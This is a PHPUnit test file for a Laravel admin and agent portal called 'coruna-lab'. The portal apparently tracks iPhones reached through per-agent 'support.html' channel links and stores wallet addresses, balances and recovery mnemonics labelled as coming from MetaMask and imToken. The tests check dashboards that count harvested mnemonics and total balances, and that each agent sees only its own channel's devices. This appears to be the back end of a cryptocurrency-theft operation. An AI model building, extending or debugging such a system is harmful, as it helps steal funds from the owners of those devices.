Files
coruna-lab/tests/Feature/AdminAgentPortalTest.php
T
2026-08-15 03:12:09 +08:00

360 lines
14 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\ChannelProjectService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Mockery;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class AdminAgentPortalTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function users_and_channels_tables_exist_via_models(): void
{
$user = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => 'test',
]);
$channel = Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'user_id' => $user->id,
'status' => 1,
'remark' => 'demo',
]);
config([
'coruna.channel_domains' => ['cdn.example.com'],
'coruna.deployment_domains' => ['cdn.example.com'],
]);
$this->assertDatabaseHas('users', ['username' => 'agent1']);
$this->assertDatabaseHas('channels', ['channel_id' => $channel->channel_id, 'user_id' => $user->id]);
$this->assertSame(
['https://cdn.example.com/web/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/support.html'],
$channel->supportLinks()
);
}
#[Test]
public function disabled_agent_cannot_login(): void
{
User::query()->create([
'username' => 'disabled',
'password' => 'secret12',
'status' => 0,
]);
$this->post('/user/login', [
'username' => 'disabled',
'password' => 'secret12',
])->assertSessionHasErrors('username');
$this->assertGuest('agent');
}
#[Test]
public function enabled_agent_can_login(): void
{
User::query()->create([
'username' => 'okagent',
'password' => 'secret12',
'status' => 1,
]);
$this->post('/user/login', [
'username' => 'okagent',
'password' => 'secret12',
])->assertRedirect(route('user.home'));
$this->assertAuthenticated('agent');
}
#[Test]
public function admin_can_create_channel_with_random_id_and_links_fallback_domains(): void
{
config([
'coruna.channel_domains' => ['fallback.test'],
'coruna.deployment_domains' => ['fallback.test'],
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$projects = Mockery::mock(ChannelProjectService::class);
$projects->shouldReceive('generate')->once()->andReturn([
'channel_id' => 'placeholder',
'seeds' => [
'deployment_seed' => '11111111111111111111111111111111',
'reporting_seed' => '11111111111111111111111111111111',
],
'domains' => ['deployment' => [], 'reporting' => []],
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '/web/x/support.html',
'daily_path' => '/sync/daily.html',
]);
$this->app->instance(ChannelProjectService::class, $projects);
$random = $this->actingAs($admin, 'admin')
->get(route('admin.channels.randomId'))
->assertOk()
->assertJsonPath('code', 0)
->json('data.channel_id');
$this->assertIsString($random);
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
$channelId = Channel::randomChannelId();
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => $channelId,
'user_id' => 0,
'remark' => 'official',
'status' => 1,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html');
$this->assertDatabaseHas('channels', [
'channel_id' => $channelId,
'user_id' => 0,
'remark' => 'official',
]);
}
#[Test]
public function agent_only_sees_own_channel_devices_and_addresses(): void
{
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
$chB = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create([
'device_id' => 'dev-a',
'channel_id' => $chA,
'device_model' => 'iPhone',
]);
$devB = Device::query()->create([
'device_id' => 'dev-b',
'channel_id' => $chB,
'device_model' => 'iPhone',
]);
WalletAddress::query()->create([
'device_id' => $devA->id,
'address' => 'addr-a',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
WalletAddress::query()->create([
'device_id' => $devB->id,
'address' => 'addr-b',
'source' => 'imToken',
'chain_type' => 'ETH',
]);
$this->actingAs($agentA, 'agent')
->getJson(route('user.devices.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-a');
$this->actingAs($agentA, 'agent')
->getJson(route('user.addresses.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-a');
$this->actingAs($agentA, 'agent')
->get(route('user.devices.show', $devB))
->assertForbidden();
}
#[Test]
public function admin_agent_filter_scopes_devices(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create(['username' => 'filter-me', 'password' => 'secret12', 'status' => 1]);
$ch = 'dddddddddddddddddddddddddddddddd';
$official = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $official, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
Device::query()->create(['device_id' => 'mine', 'channel_id' => $ch]);
Device::query()->create(['device_id' => 'official-dev', 'channel_id' => $official]);
Device::query()->create(['device_id' => 'other', 'channel_id' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee']);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['agent_user_id' => $agent->id]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'mine');
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['agent_user_id' => 0]))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'official-dev');
}
#[Test]
public function dashboard_counts_smoke(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$d1 = Device::query()->create([
'device_id' => 'd1',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd2',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
]);
Device::query()->create([
'device_id' => 'd3',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => 'TTestAddress111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '10.5',
'trx' => '2',
'eth' => '0',
'btc' => '0.001',
'bnb' => '1.25',
]);
WalletAddress::query()->create([
'device_id' => $d1->id,
'address' => '0xabcdefabcdefabcdefabcdefabcdefabcdefabcd',
'chain_type' => 'ETH',
'usdt' => '1.5',
'trx' => '0',
'eth' => '0.1',
'btc' => '0',
'bnb' => '0',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 3)
->assertJsonPath('data.mnemonic_count', 2)
->assertJsonPath('data.address_count', 2)
->assertJsonPath('data.balances.usdt', '12')
->assertJsonPath('data.balances.trx', '2')
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to', 'date_from', 'date_to']]);
}
#[Test]
public function dashboard_date_range_filters_all_metrics(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$inRange = Device::query()->create([
'device_id' => 'in-range',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '15.8.4',
'has_wallet' => Device::WALLET_YES,
]);
\Illuminate\Support\Facades\DB::table('devices')->where('id', $inRange->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$outOfRange = Device::query()->create([
'device_id' => 'out-of-range',
'channel_id' => 'ffffffffffffffffffffffffffffffff',
'ios_version' => '18.5',
'has_wallet' => Device::WALLET_YES,
]);
\Illuminate\Support\Facades\DB::table('devices')->where('id', $outOfRange->id)->update([
'created_at' => '2026-07-01 12:00:00',
'updated_at' => '2026-07-01 12:00:00',
]);
$addr = WalletAddress::query()->create([
'device_id' => $inRange->id,
'address' => 'TInRangeAddr111111111111111111111',
'chain_type' => 'TRON',
'usdt' => '5',
'trx' => '1',
]);
\Illuminate\Support\Facades\DB::table('wallet_addresses')->where('id', $addr->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$mn = WalletMnemonic::query()->create([
'device_id' => $inRange->id,
'source' => 'MetaMask',
'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
\Illuminate\Support\Facades\DB::table('wallet_mnemonics')->where('id', $mn->id)->update([
'created_at' => '2026-08-10 12:00:00',
'updated_at' => '2026-08-10 12:00:00',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', [
'date_from' => '2026-08-01',
'date_to' => '2026-08-15',
]))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.total', 1)
->assertJsonPath('data.new_count', 1)
->assertJsonPath('data.wallet_count', 1)
->assertJsonPath('data.mnemonic_count', 1)
->assertJsonPath('data.address_count', 1)
->assertJsonPath('data.balances.usdt', '5')
->assertJsonPath('data.date_from', '2026-08-01')
->assertJsonPath('data.date_to', '2026-08-15');
}
#[Test]
public function agent_cannot_create_channel(): void
{
$agent = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$this->actingAs($agent, 'agent')
->post('/user/channels', [
'channel_id' => 'gggggggggggggggggggggggggggggggg',
'status' => 1,
])
->assertStatus(405);
}
}